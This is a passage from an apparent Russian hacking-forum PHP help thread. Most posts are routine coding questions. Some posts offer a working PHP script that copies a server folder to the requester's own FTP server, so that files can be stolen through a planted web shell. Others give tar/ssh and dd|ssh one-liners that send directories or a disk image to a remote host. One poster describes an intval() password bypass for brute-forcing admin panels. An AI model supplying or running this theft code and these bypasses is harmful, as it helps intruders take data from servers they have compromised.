for ($i = count($fh); $i>0; $i--) echo ($fh[$i-1]."<br>");
#теперь запись
if(isset($_POST['mess'])) {
$mess = $_POST['mess']
} else {
echo ("Переменная mess не передона");
}
if ($mess == '') {
echo ("Переменная mess пуста");
} else {
$fh = fopen("mess.txt","a");
$today = date("H:i:s");
$mess = trim($mess);
fwrite($fh,"<BR><FONT COLOR='#0000CC'>$today </FONT><FONT COLOR='#FF0000'>$ip</FONT>$m<BR>");
fclose($fh);
}
?>
Изменил: нашёл ошибочку: #теперь запись
if(isset($_POST['mess'])) {
$mess = $_POST['mess']; - небыло ; но теперь он не выводит сообщение...
Поправил, сообщение выводит:
echo ("Переменная mess пуста");
} else {
$m = $_POST['mess']; надо было просто задать переменную заного...
А как убрать появление сразу надписаей переменная пуста\незадана? Вот пример:
$fh = file("mess.txt");
for ($i = count($fh); $i>0; $i--) {
echo ($fh[$i-1]."<br>");
}
if(isset($_POST['mess'])) {
$mess = $_POST['mess'];
}
$fh = fopen("mess.txt","a");
$today = date("H:i:s");
$mess = trim($mess);
fwrite($fh,"<BR><FONT COLOR='#0000CC'>$today </FONT><FONT COLOR='#FF0000'>$ip</FONT>$m<BR>");
fclose($fh);
}
Это вывод сообщений через массив... Сам незнаю как оно работает,надыбал с какого-то сайта, но зато выводит всё без ашибок=)
Как можно сделать проверку на сообщение,если оно более 1го символа тогда отправить?
$var = '';
if(!isset($var{0}))
echo 'Пустое поле';
$var = '';
if(!isset($var{0}))
echo 'Пустое поле';
Один символ в щёт или нет??
А так регуряркой preg_match
Вопрос: в этом же скрипте,как сделать функцию,что ли, чтобы после наплыва более 30 сообщений mess.txt сделало себе харакири?
И ещё: Есть файл,который инклудидтся: config.php а в нём задано: <?php
$m = str_replace("","<b>",$m);
$m = str_replace("","</b>",$m);
$m = str_replace("[/i]","</i>",$m);
$m = str_replace("","<i>",$m);
$m = str_replace("[br]","<br>",$m);
$title = "$_GET['title']";
?>
Как избежать ситуации, если кто-то напишет просто ? или ещё что-либо?
Как избежать ситуации, если кто-то напишет просто [/i] ? или ещё что-либо?
Функцией:
htmlspecialchars();
Один символ в щёт или нет??
А так регуряркой preg_match
Зачем использовать регулярные выражения там где можно обойтись елементарным isset()'om или даже empty()
Функцией:
htmlspecialchars();
У меня и так стоит trim(); смысла тут не вижу...Может сразу обьёдинить код в одно целое? Типа
$m = str_replace("[i]","<i></i>",$m);
$m = strip_tags($m, '<b><i><u><br>');
..str_replace`ы...
Как можно получить содержимое между строками и ? Это... вроде bb коды мужно сделать. =\
m0nsieur
16.11.2009, 12:32
']Как можно получить содержимое между строками и ? Это... вроде bb коды мужно сделать. =\
попробуй так
preg_match('%\[img\](.*?)\[/img\]%si', $subject)
если оно более 1го символа тогда отправить
как вариант:
if(strlen($var)>1){
true;
}
________
0ph.ru
ап пост #13335 (https://forum.antichat.ru/showpost.php?p=1687110&postcount=13335)
ап пост #13335
Какую именно ошибку тебе выводит?
ап пост #13335
Проверь в phpinfo(), есть ли поддержка mbstring на хостинге.
2LStr1ke ошибок нет. при еррор_репортинге E_ALL
Проверь в phpinfo(), есть ли поддержка mbstring на хостинге.
oops нету. сейчас попробую
поставил. все заработало. благодарю :)
BoEH-upchk
16.11.2009, 17:41
Как запустить пхп скрипт с элементами html у себя на компьютере?(xp)
попробуй так
preg_match('%\[img\](.*?)\[/img\]%si', $subject)
сделал так -
preg_match('%\[img\](.*?)\[/img\]%si', $subject, $imgsrc);
echo $imgsrc[1];
это вообще правильно?? :(
KaZ@NoVa
16.11.2009, 18:26
Как запустить пхп скрипт с элементами html у себя на компьютере?(xp)
Установить apache и php. Проще установить пакет Denwer (www.denwer.ru) - там ничего настраивать не надо и весит мало
2[K4t]
Да, это правильно,но регулярка будет выполняться даже если промежуток между тэгами будет пустой,поэтому либо оставь регулярку и проверяй массив, либо видоизмени регулярку:
'%\[img\](.+)\[/img\]%si'
ЗЫ
Вычисление регулярок-_http://pyha.ru/fishki/regexp/
Возник вопрос, можно ли получить Курлом ответ размером к примеру 1024 байта, чтоб не тянуть всю страницу, типа трафик економить.
VladZombie
16.11.2009, 20:31
как сделать чтобы на странице автоматически выводился адрес страницы?
К примеру я хочу сделать вот так:
Сейчас вы находитесь на http://forum.antichat.ru/threadnav40896-2-10.html
и при переходе на другую страницу адрес менялся
erihtoney
16.11.2009, 20:44
<?php
$url = "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
echo $url;
?>
VladZombie
17.11.2009, 02:34
подскажите пожалуйста как сделать так чтобы когда обработчик обработает информацию он возвращался потом на ту страницу с который ушёл?
header("Location: ../");
делаю так но он выкидывает на главную страницу (((
Pashkela
17.11.2009, 03:24
<script>history.go(-1)</script> //возвращает туда, откуда пришли
или, если
header("Location: ссылка");
то указывать нормальную ссылку, например
$_SERVER['HTTP_REFERER']
Обработчик и форма в одном скрипте и не нужно никуда адресовать, тоже вариант =)
toMartyr:
Спасибо, мне лучше сюда )
Сообщение от je0n
регулярные выражения в php, часть 1
регулярные выражения в php, часть 2
не работает ( если в тексте есть вложенные тэги, например такой текст:
Картинка 1 images/i1.png
Вторая images/i2.png
# то выходит
images/i1.png[/img] Вторая [img]images/i2.png
как же делается этот bb код? ( картинок по идее бесконечность
Возник вопрос, можно ли получить Курлом ответ размером к примеру 1024 байта, чтоб не тянуть всю страницу, типа трафик економить.
string fread ( resource $handle , int $length )
length bytes have been read
Isis
Не совсем то, мы имеем:
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
Получается что, в переменной $result уже есть вся страница, и читать её фридом побайтно смысла нет, т.к. курл ждал окончания ответа и получил ВЕСЬ контент в ету переменную. А меня интересует если ли константа для кУРЛА, типа CURLOPT_RECEIVE_DATA и указать 100байт чтоб вернуло.
смысл кода в следующем:
Если ввести в адресную строку http://site.ru/1.php?a=1
Должно отобразится "Да" В любом другом случае: "Нет"
Код: 1.php
<?php
$a=$_GET['a'];
if ($a='1')
{
echo "да";
}
else
{
echo "нет";
}
?>
Но скрипт все время выводит да
<?php
$a = intval ($_GET['a']);
if ($a === 1)
{
echo "да";
}
else
{
echo "нет";
}
?>
<?php
$a = intval ($_GET['a']);
if ($a === 1)
{
echo "да";
}
else
{
echo "нет";
}
?>
Спасибо и если не трудно объясните пожалуйста суть изменений, чтобы я впредь знал.
у вас в условии if() стоит присваивание (=), а не сравнение (== или ===). Тут и ошибка
$a = intval ($_GET['a']);
А что такое intval ???
Deathdreams
17.11.2009, 16:42
Хелпер
Округлить
erihtoney
17.11.2009, 17:10
Хелпер
Округлить
intval —преобразует переменную к целому типу
str123121332 = 0
12323str2123 = 12323
mailbrush
17.11.2009, 17:12
intval возвращает integer-значение переменной var, используя для конвертации специфицированную базу/base (по умолчанию base равна 10).
<?php
$a = intval ($_GET['a']);
if ($a === 1)
{
echo "да";
}
else
{
echo "нет";
}
?>
intval нужно убрать, код уязвим.
http://s39.radikal.ru/i085/0911/ea/ccd47b9ec1cf.png
intval нужно убрать, код уязвим.
http://s39.radikal.ru/i085/0911/ea/ccd47b9ec1cf.png
Где он уязвим?
Написали же
intval возвращает integer-значение переменной var, используя для конвертации специфицированную базу/base (по умолчанию base равна 10).
intval —преобразует переменную к целому типу
Где он уязвим?
Глаза открой и увидиш =)
Глаза открой и увидиш =)
show пример хека,переменная проходит через intval()
________
0ph.ru
Глаза открой и увидиш =)
<?php
$a = (int)$_GET['a'];
echo $a;
?>
http://s40.radikal.ru/i087/0911/aa/d064817eefc5.png
Округлил
http://s44.radikal.ru/i105/0911/fd/047bd6faca30.jpg
Нуль
show пример хека,переменная проходит через intval()
http://forum.antichat.ru/showpost.php?p=1695379&postcount=13389
если
переменная === 1
То впустить
Ты на скрине вообще видиш что я ввел не "1" ? Дальше разжовывать нет смысла, гавнокодыряйте дальше. Пишите таким макаром авторизации в админке, мне иногда шеллы нужны.
Deathdreams
17.11.2009, 17:53
Чё вы тупите?
Проверять так:
echo is_numeric($_GET['a']) ? 'число' : 'нет';
http://forum.antichat.ru/showpost.php?p=1695379&postcount=13389
если
переменная === 1
То впустить
Ты на скрине вообще видиш что я ввел не "1" ? Дальше разжовывать нет смысла, гавнокодыряйте дальше. Пишите таким макаром авторизации в админке, мне иногда шеллы нужны.
что за авторизация странная в админ панель , по передаче гет параметру числовых значений?покажешь пример на реальном веб-ресурсе,или движке?
или мб ты с intval'ом проведешь скуль,xss?
________
0ph.ru
Всем спасибо, все ясно.
И кстати:
Чё вы тупите?
Проверять так:
echo is_numeric($_GET['a']) ? 'число' : 'нет';
Так мне не нужно, я поставил после проверки числа печать текстаи, только для упрощения объяснения. Там будет include(), die() и своя функция.
Pashkela
17.11.2009, 18:27
да, с intval() особо не попляшешь, но тем не менее с помощью лишь проверки на intval можно допустить раскрытие путей, т.к. можно вызвать ошибку в sql-запросе, т.к. intval допускает отрицательные числа
т.е. достаточно подставить "-1", intval с радостью пропустит такое дело
да, с intval() особо не попляшешь, но тем не менее с помощью лишь проверки на intval можно допустить раскрытие путей, т.к. можно вызвать ошибку в sql-запросе, т.к. intval допускает отрицательные числа
т.е. достаточно подставить "-1", intval с радостью пропустит такое дело
$var = (int)$_GET['a'];
if ($var < 0) {echo "неа";}
:)
Pashkela
17.11.2009, 18:35
if ($var < 0) {echo "неа";}
вот про эту детсадовскую проверку начинющие цмс-строители постоянно забывают, поверь на слово (да и не начинающие тоже)
и тогда уж лучше так:
if ($var < 0) {$var = $var * (-1);}
что за авторизация странная в админ панель , по передаче гет параметру числовых значений?покажешь пример на реальном веб-ресурсе,или движке?
или мб ты с intval'ом проведешь скуль,xss?
Я непойму ты что реально тупой ? Человек задал вопрос как сделать "авторизацию" ему подсказали не совсем верный способ, в котором есть уязвимый момент, я исправил.
Для тебя особо одаренного, приведу пример:
Существует админка, пароль на нее быдло админа к прмиеру 123 проверка проиходит так как в данном скрине, и не важно ПОСТ или ГЕТ, кстати таких админок где нужно ввести только пароль уйма, если ты хоть немного увлекался хеком ты должен был их встречать на самопальных "двигах". И так дальше, находится злоумышленик который пытается сбрутить такую админку, но в его словаре нету пароля 123 допустим, но у него есть пароль 123abc но так как в проверке данные от пользователя проверяются inval()' om то введенный пароль с брута 123abc обрежется до 123 и можно будет авторизоваться, надеюсь теперь понятно?
ЗЫ и причем тут подьебки по поводу "найди или покажи мне цмс" есть реальный пример несколько постов выше от "кодырав" которые так проверяют некоторые данные. Что тебе еще показать? И на*** оно мне надо искать кому то живие примеры, когда под носом самый настоящий живой пример.
Я непойму ты что реально тупой ? Человек задал вопрос как сделать "авторизацию" ему подсказали не совсем верный способ, в котором есть уязвимый момент, я исправил.
Для тебя особо одаренного, приведу пример:
Существует админка, пароль на нее быдло админа к прмиеру 123 проверка проиходит так как в данном скрине, и не важно ПОСТ или ГЕТ, кстати таких админок где нужно ввести только пароль уйма, если ты хоть немного увлекался хеком ты должен был их встречать на самопальных "двигах". И так дальше, находится злоумышленик который пытается сбрутить такую админку, но в его словаре нету пароля 123 допустим, но у него есть пароль 123abc но так как в проверке данные от пользователя проверяются inval()' om то введенный пароль с брута 123abc обрежется до 123 и можно будет авторизоваться, надеюсь теперь понятно?
ЗЫ и причем тут подьебки по поводу "найди или покажи мне цмс" есть реальный пример несколько постов выше от "кодырав" которые так проверяют некоторые данные. Что тебе еще показать? И на*** оно мне надо искать кому то живие примеры, когда под носом самый настоящий живой пример.
Какой *** будет пропускать пароль через intval()????
Если пароль без буквенных символов - это не пароль...
Ты тоже одаренный? Или фраза К ПРИМЕРУ неочем не говорит?
Если пароль без буквенных символов - это не пароль...
пароль на нее быдло админа к прмиеру 123
Какой *** будет пропускать пароль через intval()????
Страницу назад переверни, там пытаются так проверить входные данные. Конечно открыто не сказано что там пароль проверяется, но суть в том что осуществляется проверка и она пускает вопреки условию. Точнее условие верно, но фильтр неразумно составлен. Все ну вас нах, придераетесь к несущественным вещам, которые указаны как пример, а на суть проблеммы фильтра не смотрите. Я повторюсь - пишите дальше таким макаром, мне шелы пригодятся.
Doktor_radosti
17.11.2009, 20:18
Хочу написать парсер выдачи google blog search, столкнулся с проблемой, не получается сделать проверку собранных урлов из google blog search на уникальность.
Логика работы, собираем из фида ссылки, и потом сравниваем с сылками из файла, если совпадение не найдено передаем уникальные урлы дальше. Кривая регулярка для парсинга уролов:
$url = "http://blogsearch.google.com/blogsearch_feeds?hl=en&q=bla&lr=&ie=utf-8&num=10&output=rss";
$rss = @file_get_contents($url);
$count = 10;
for ($i = 0; $i < $count; $i++) {
preg_match_all("|<link>(.*)</link>|Uis", $rss, $linka);
}
echo var_dump($linka);
Хочу написать парсер выдачи google blog search, столкнулся с проблемой, не получается сделать проверку собранных урлов из google blog search на уникальность.
Логика работы, собираем из фида ссылки, и потом сравниваем с сылками из файла, если совпадение не найдено передаем уникальные урлы дальше. Кривая регулярка для парсинга уролов:
$url = "http://blogsearch.google.com/blogsearch_feeds?hl=en&q=bla&lr=&ie=utf-8&num=10&output=rss";
$rss = @file_get_contents($url);
$count = 10;
for ($i = 0; $i < $count; $i++) {
preg_match_all("|<link>(.*)</link>|Uis", $rss, $linka);
}
echo var_dump($linka);
а если загнать из фида ссылки в массив
и открыть файл и тоже загнать ссылки в массив, далее сравнить массивы
$result = array_diff ($array1, $array2);
b3
если уж брутить до под тру попадет 123 а уж потом 123abc.
причем тут подьебки по поводу "найди или покажи мне цмс"
Пишите таким макаром авторизации в админке, мне иногда шеллы нужны.
т.е. заливать шелл коды на сайты где в админках юзают intval() для проверки паролей переданных ГЕТ методом ,пароли вида:123, другие хекать через intval() ,брутом лишенным здравого смысла, не true
остряк бля одаренный.
________
0ph.ru
Задача такая- мне надо передать методом POST некоторые элементы массива с определенным ключем- собственно говоря как можно это сделать? Что то наподобие этого надо $_POST['res[69]'] (разумееться это непашет)))
P.S.Не туда последний раз запостил так что сюда перенес))
$_POST[$res[69]];
Т е как??? т е у нас есть поле наподобие
<input type="hidden" name="res" value="$res" /><br>
$res- это массив
И тогда каким образом получаеться $_POST[$res[69]]- что то здесь не то))) дело в том что мне из данного массива нужно значений 10 с определенными ключами))
народ помогите...
я через крон выполняю скрипт и он узнает урл сайта:
$siteurl = "http://".$_SERVER['SERVER_NAME']."/";
но не работает через кронтаб, что делать?
Т е как??? т е у нас есть поле наподобие
<input type="hidden" name="res" value="$res" /><br>
$res- это массив
И тогда каким образом получаеться $_POST[$res[69]]- что то здесь не то))) дело в том что мне из данного массива нужно значений 10 с определенными ключами))
$res - явно не массив в том что ты привел а скорей всего значеие?!
распиши задачу поподробней
Root-access
18.11.2009, 00:23
Задача такая- мне надо передать методом POST некоторые элементы массива с определенным ключем- собственно говоря как можно это сделать? Что то наподобие этого надо $_POST['res[69]'] (разумееться это непашет)))
P.S.Не туда последний раз запостил так что сюда перенес))
Передать надо из скрипта?
Если нет, то можно сгенерировать форму:
<form action="script.php" method="post">
<?php
for($i=0;$i<count($res);$i++) {
echo('<input type=hidden value='.$i.' name='.$res[$i].'>');
}
?>
<input type="submit" value="ok">
</form>
Таким образом, script.php получит post параметры вида $_POST[$i] = $res[$i]
Root-access
18.11.2009, 00:24
народ помогите...
я через крон выполняю скрипт и он узнает урл сайта:
но не работает через кронтаб, что делать?
Поподробнее, пожалуйста, у тебя ошибка наверное где-то.
Root-access- пока описывал задачу ты уже ответил))) - спасибо))
1)есть вопрос!
2)есть таблица 3 колонки на 3 строчки
3)есть таблица в базе с сылкоми на картинки
как бы сделать вывод этих картинок в разные ячейки?
в кажой разная. (
Kusto
Незнаю, может тебе так удобнее в твоем случае, но я бы сделал так:
<?php
$arr = array('str1','str2','str3');
$s_arr = serialize($arr);
$s_arr = base64_encode($s_arr);
echo 'Массив в строковом виде '.$s_arr.'<br>';
?>
<form action="" method="post">
<input type="text" value="<?=$s_arr;?>" name="your_array">
<input type="submit" value="ok">
</form>
<?php
if(!empty($_POST['your_array']))
{
$var = $_POST['your_array'];
echo $var.'<br>';
echo base64_decode($var).'<br>';
print_r( unserialize( base64_decode($var) ) ).'<br>';
}
?>
Поподробнее, пожалуйста, у тебя ошибка наверное где-то.
да не, не ошибся, мне надо типо ссылки делать и сохранять, а я не знаю урл страницы на которой нахожусь. узнаю через $_SERVER... Так оно узнает, а когда через крон запускаю нет
F4R
Попробуй так!! Итого должно получится по идее
<?
...
$sql = mysql_query("select images from imgtable");
while ($row = mysql_fetch_array($sql))
{
echo '<table id='imgtable'>';
for ($i=0; $i<3; $i++)
{
echo '<tr>';
for ($i=0; $i<3; $i++)
{
echo '<td>';
echo '<img src=''.$row['imgurl'].''>';
echo '<td>';
}
echo '</tr>';
}
echo '</table>';
}
...
?>
у меня выводит одну картинку, но ты просто поставь цикл повыше )))
Ааа! Ну как же выдрать из всех тегов и url'ы и положить из в массив :'(
есть еще варианты?
в базе скоко ссылок???
9 сслыок или их больше и надо чтобы выбирались рандомно картинки и заполняли таблицу?
в базе скоко ссылок???
9 сслыок или их больше и надо чтобы выбирались рандомно картинки и заполняли таблицу?
в базе скажем так безконечное кол-во картинок (ну тоесть есть возможность всегда добавить...)
нужно что бы на 1-ой странице выводилось 9 штук.
в базе скажем так безконечное кол-во картинок (ну тоесть есть возможность всегда добавить...)
нужно что бы на 1-ой странице выводилось 9 штук.
ну как временный вариант можно сделать так
$q="SELECT link FROM url";
$res=mysql_query($q);
while($row=mysql_fetch_array($res)){
$arr[]=$row['link'];
}
$rand_links = array_rand($arr, 9);
echo '<table>
<tr>
<td>'.$arr[$rand_links[0]].'<td>
<td>'.$arr[$rand_links[1]].'<td>
<td>'.$arr[$rand_links[2]].'<td>
</tr>
<tr>
<td>'.$arr[$rand_links[3]].'<td>
<td>'.$arr[$rand_links[4]].'<td>
<td>'.$arr[$rand_links[5]].'<td>
</tr>
<tr>
<td>'.$arr[$rand_links[6]].'<td>
<td>'.$arr[$rand_links[7]].'<td>
<td>'.$arr[$rand_links[8]].'<td>
</tr>
</table>';
Подскажите в чём моя ошибка, и если не трудно напишите как надо.
Регулярками разбиваю кучу страниц(около 100) полученых через цикл, на экран выводится всё нормально, а вот в файл не могу записать. Пишет или один и тот же текст, или записывает только первый текст, а остальные пропускает()
........
........
$vestext .= $match2[1][$k];//Заголовок
$vestext2 .= $match2[2][$k];//Текст
$d = ("Какой-либо-текст $vestext2 , Какой-либо-текст $vestext");
$vestext = serialize($vestext);
$vestext2 = serialize($vestext2);
}}
$fh = fopen("fileitog.txt", "a+");
fwrite($fh, $d."\n");
Пытался и так:
$d = ("Какой-либо-текст $match2[2][$k] , Какой-либо-текст $match2[1][$k]");
Всю голову уже "вскипятил" себе....
Komyak , в цикл помещай открытие и запись
Komyak , в цикл помещай открытие и запись
Лучше открытие до цикла, запись в цикле, а после цикла закрытие... Нафига 100 раз открывать-закрывать файл..
Не хочет... (= Он начинает работать в прогрессии... Давайте я код целиком(код слищком грязный,не ругаемся):
$page = get_file_by_curl($host);
preg_match_all("|<\/ul><\/div><a href=\"(.*?)\" ><img src=\"|is",$page, $match, PREG_PATTERN_ORDER);
$fh = fopen("fileitog.txt", "a+");
for ( $i=0; $i<count($match[1]); $i++){
$content = get_file_by_curl($host.$match[1][$i]);
preg_match_all("|<div class=\"subtitle\">(.*?)</div>.*<div class=\"body\">(.*?)<div class=\"author\" align=\"right\">|is",$content, $match2, PREG_PATTERN_ORDER);
for($k=0;$k<=count($match2[0][$i]);$k++){
$vestext .= $match2[1][$k];//Заголовок
$vestext2 .= $match2[2][$k];//Текст
$vestext = serialize($vestext);
$vestext2 = serialize($vestext2);
$d = "REPLACE INTO `dle_post` VALUES ($k, 'user', '2009-11-04 14:45:51', '$vestext2', '', '', '$vestext', '', '', '1', 'post$k', 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, '', '', 1, '', '', '', 0, 'Теги', '');";
fwrite($fh, $d."\n");
}}
fclose($fh);
?>
Делаю, чтоб после парсинга сразу запихивалось в sql. Вложил Лучше открытие до цикла, запись в цикле, а после цикла закрытие Помогите... Пытался при записи разбить через foreash, но не могу в него запихнуть сразу два массива(хотя может и не по тому пути двигаюсь).
Deathdreams
18.11.2009, 20:13
Komyak
REPLACE INTO
Что это такое?
REPLACE INTO
Это мне нужно записать в файл вместе с полученными данными.
А так аналогия, REPLACE INTO или INSERT INTO или UPDATE INTO, будет обращение к базе. А заменена(replace), так как "возможно в базе есть какие-то-данные", вот их я и буду переписывать.- Вместо проверки на дубликаты, сносим нахрен всю базу =))
Если будет что сносить.... Пока толлько дубли записываются...
Сам разобрался, теперь каждую строку заносит
$page = get_file_by_curl($host);
preg_match_all("|<\/ul><\/div><a href=\"(.*?)\" ><img src=\"|is",$page, $match, PREG_PATTERN_ORDER);
$fh = fopen("fileitog.txt", "a+");
for ( $i=0; $i<count($match[1]); $i++){
$content = get_file_by_curl($host.$match[1][$i]);
preg_match_all("|<div class=\"subtitle\">(.*?)</div>.*<div class=\"body\">(.*?)<div class=\"author\" align=\"right\">|is",$content, $match2, PREG_PATTERN_ORDER);
for($k=0;$k<=count($match2[1]);$k++){
$q = trim("REPLACE INTO `post` VALUES (".$i.", 'user', '2009-11-04 14:45:51', '".$match2[2][$k]."', '', '', '".$match2[1][$k]."', '', '', '1', 'post".$i."', 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, '', '', 1, '', '', '', 0, '', '');");
fwrite($fh, $q."\n");}}
fclose($fh);
echo "Всё! Закончили...";
Но вместе с ней, после каждой строки создаёт одну пустую:
REPLACE INTO `post` VALUES (0, 'user', '2009-11-04 14:45:51', '', '', '', '', '', '', '1', 'post1', 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, '', '', 1, '', '', '', 0, '', '')
В чём может быть проблема?
Привет всем.
помоготе найти скрипт автозаполнения формы .
ну к примеру чтою зашел на сайт, заполнил поле
<input type="text" name="name"> к примеру 1
и отправил данные нажав
<input type="Submit" value="отправить">
erihtoney
18.11.2009, 23:48
Честно говоря, не понял вопрос
<input type="text" name="name" value="<?=$_POST[name];?>">
2 XXXXXX
$post = 'name=blabla';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://127.0.0.1/submit.php');
curl_setopt($ch, CURLOPT_POST, true );
curl_setopt($ch, CURLOPT_POSTFIELDS,$post);
$answer = curl_exec($ch);
как то так
Честно говоря, не понял вопрос
<input type="text" name="name" value="<?=$_POST[name];?>">
твой код подвержон xss))
Не знал где вернее запостить тут или как отдельную тему, но решил тут.
Есть файл(ы) хочу их разместить, на файлообменники, но чтобы пользователь не видел статической линки, а она генерировалась динамически, т.е. один пользователь(айпи) один линк, на своем хосте не могу разместить т.к. канал слабенький. Как можно это реализовать не нагружай свой хостинг, но приэтом не давай пользователю статический линк.
Спасибо.
ПОмогите плиз написать прстенький скрипт (я с ftp+php Не работал просто)
Нужен скрипт который пролистывает все файлы на сервере и отправляет их на удаленный фтп
Я думаю лудьше каждую папку отдельно, так как если скрипт будет просматривать все папки на сервере то за 30 сек не успеет, а доступа к php.ini Нету
Pashkela
19.11.2009, 00:56
<?php
@set_time_limit(0);
@ini_set("display_errors","1");
$l_folder = '/home/lalala/http/site/'; // Полный абсолютный путь к папке, которую тырим на наш фтп
$r_folder = './';// Полный абсолютный путь к папке, в которую будем копировать стыренное, находится на нашем фтп (в конце слеш)
function ff($dir) {
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
while (($file = readdir($dh)) !== false) {
if (filetype($dir . $file)=="file") // Если тип переменной - file
$arr[] = $file;
}
closedir($dh);
}
}
return $arr;
}
$b = ff($l_folder);
$count = count($b);
for ($i=0;$i<$count;$i++) {
$file = $l_folder.$b[$i]; // Файл, который копируем
$newfile = $r_folder.$b[$i]; // Файл приемник
$open = ftp_connect("ftp-server","ftp-port","timeout"); // сервер, порт, таймаут
if(!ftp_login($open,"ftp-login","ftp-pass"))
exit("Не могу соединиться");
# Копируем #
if (ftp_put($open, $newfile, $file, FTP_BINARY)) echo "$file скопирован\n";
else echo "Не удалось скопировать $file\n";
ftp_close($open); // закрываем фтп-соединение
}
?>
Fatal error: Call to undefined function ftp_connect()
=(
Можно как-то подругому обойти?
Блин как ещё можно слить файлы с сервера с Safe-mone=ON
Шелл с66 не может создать архив с копией..а скачивать по 1 файлу это не реально.
Я слышал что есть какойто пхп архиватор который даёт скачать не сохраняя.(файлы на сервер могу заливать и запускать)
Можно как-то подругому обойти?
http://ua2.php.net/manual/en/ftp.requirements.php очень странно)) функция значит отключена на сервере, ну перепишите на cURL (http://ua2.php.net/curl)
Pashkela
19.11.2009, 03:56
все это пробовал?
tar -c dir/ | bzip2 > dir.tar.bz2 - зархивировать директорию (папку) dir/
find dir/ -name '*.txt' | tar -c --files-from=- | bzip2 > dir_txt.tar.bz2 - создать архив для папки dir/ и всех вложенных папок
( tar -c /dir/to/copy ) | ssh -C user@remote 'cd /where/to/ && tar -x -p' - скопировать (с правами доступа) папку copy/ на удаленный компьютер remote:/where/to
dd bs=1M if=/dev/sda | gzip | ssh user@remote 'dd of=sda.gz' - сделать резервную копию (сбекапить) жесткого диска и послать ее на удаленный компьютер
erihtoney
19.11.2009, 08:44
твой код подвержон xss))
Если даже так, как ты его применишь?Заставишь админа отправить определенный пост запрос?Или что еще?
Посоветуйте пожалуйста cms. Задача, сделать сайт, на котором пользователи сами могут добавлять новости (с фотками) без всяких модераций, и все могут оценивать эти новости. Так же должны быть комменты новостям. Может кто знает где проще это организвать?
Посоветуйте пожалуйста cms. Задача, сделать сайт, на котором пользователи сами могут добавлять новости (с фотками) без всяких модераций, и все могут оценивать эти новости. Так же должны быть комменты новостям. Может кто знает где проще это организвать?
DLE =)
Pashkela, все это пробовал?
tar -c dir/ | bzip2 > dir.tar.bz2 - зархивировать директорию (папку) dir/
find dir/ -name '*.txt' | tar -c --files-from=- | bzip2 > dir_txt.tar.bz2 - создать архив для папки dir/ и всех вложенных папок
А если bz2, tgz отключено? А zip -c dir/* не прокатывает(точней через раз- не на каждом серваке)? А архивация ой-как нужна... Как в этом случае заархивировать, без загрузки своих зиповских библиотек?
Какие образом можно ограничить по времени выполнение функции fsockopen.некоторые прокси не работают и если пытаешся подключиться идет зависание, внутренний лимит для данной же функции.
Мне нужно если скажем за 20 секунд подключение не удалось. вернуло фалс
Какие образом можно ограничить по времени выполнение функции fsockopen.некоторые прокси не работают и если пытаешь подключиться идет зависание, внутренний лимит для данной же функции.
Мне нужно если скажем за 20 секунд подключение не удалось. вернуло фалс
$fp = fsockopen("www.example.com", 80, $errno, $errstr, 20);
$fp = fsockopen("www.example.com", 80, $errno, $errstr, 20);
в этом случае она будет повторно подключаться, это же внутренний лимит для данной функции
в этом случае она будет повторно подключаться, это же внутренний лимит для данной функции
Ты где-то видиш цикл что б было повторное переподключение ?
http://ua.php.net/fsockopen
Подскажите в каком направлении двигаться. В файле находятся строки такого вида:
($i, 'text', 'log', '$i'). на месте $i должен быть номер строки, количество строк от 1 до 100к Как мне это можно реализовать? Пытался через цикл, но он мне выводит - (например)- (1, 'text', 'log', '1')- 100 строк, (1, 'text2', 'log2', '1') - 100 строк и т.д.
Короче что-то перемудрил и в итоге на серваке за 4-6 секунд оказался файлик на 5 гигов... А должен был на 6 метров...
Подскажите...
Подскажите в каком направлении двигаться. В файле находятся строки такого вида:
($i, 'text', 'log', '$i'). на месте $i должен быть номер строки, количество строк от 1 до 100к Как мне это можно реализовать? Пытался через цикл, но он мне выводит - (например)- (1, 'text', 'log', '1')- 100 строк, (1, 'text2', 'log2', '1') - 100 строк и т.д.
Короче что-то перемудрил и в итоге на серваке за 4-6 секунд оказался файлик на 5 гигов... А должен был на 6 метров...
Подскажите...
Если правельно понял
for ($i=1; $i<=100000; $i++)
{
$text = $i.'|'.$text.'|'.$log.'|'.$i;
$fp=fopen("file.txt","w");
flock($fp,LOCK_EX);
fputs($fp,$text);
fflush($fp);
flock($fp,LOCK_UN);
fclose($fp);
}
Если правельно понял
for ($i=1; $i<=100000; $i++)
{
$text = $i.'|'.$text.'|'.$log.'|'.$i;
$fp=fopen("file.txt","w");
flock($fp,LOCK_EX);
fputs($fp,$text);
fflush($fp);
flock($fp,LOCK_UN);
fclose($fp);
}
Вынеси все за цикл, чтоб в нем была только запись
fputs($fp,$text);
Всё... сервак лежит.... В этот раз получилось даже быстрей: 1 секунда=1гиг
......
......
for($k=0;$k<=count($match2[1]);$k++){
for ($y=1; $y<=100000; $y++)
{
$text = trim("VALUES (".$y.", '', '', '".$match2[2][$k]."', '', '', '".$match2[1][$k]."', '', '', '1', '".$y."', 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, '', '', 1, '', '', '', 0, '', '');");
flock($fp,LOCK_EX);
fputs($fp,$text);
}
fflush($fp);
flock($fp,LOCK_UN);
fclose($fp);
}}}
Цикл в цикле, и в итоге одна и таже строка записалась 100к раз...
=(
Можно как-то подругому обойти?
Блин как ещё можно слить файлы с сервера с Safe-mone=ON
Шелл с66 не может создать архив с копией..а скачивать по 1 файлу это не реально.
Я слышал что есть какойто пхп архиватор который даёт скачать не сохраняя.(файлы на сервер могу заливать и запускать)
А не подскажите какойнить скрипт к которому подключается пхп класс для архивации
Год назад так с сейв моде снимал файлы но не помню что за скрипт
Oxxxymiron
19.11.2009, 15:06
кто знает как поменять ип?)
кто знает как поменять ип?)
Прокси не подходит? =))
Oxxxymiron
19.11.2009, 15:23
эмм хз чето не получается
все это пробовал?
tar -c dir/ | bzip2 > dir.tar.bz2 - зархивировать директорию (папку) dir/
find dir/ -name '*.txt' | tar -c --files-from=- | bzip2 > dir_txt.tar.bz2 - создать архив для папки dir/ и всех вложенных папок
( tar -c /dir/to/copy ) | ssh -C user@remote 'cd /where/to/ && tar -x -p' - скопировать (с правами доступа) папку copy/ на удаленный компьютер remote:/where/to
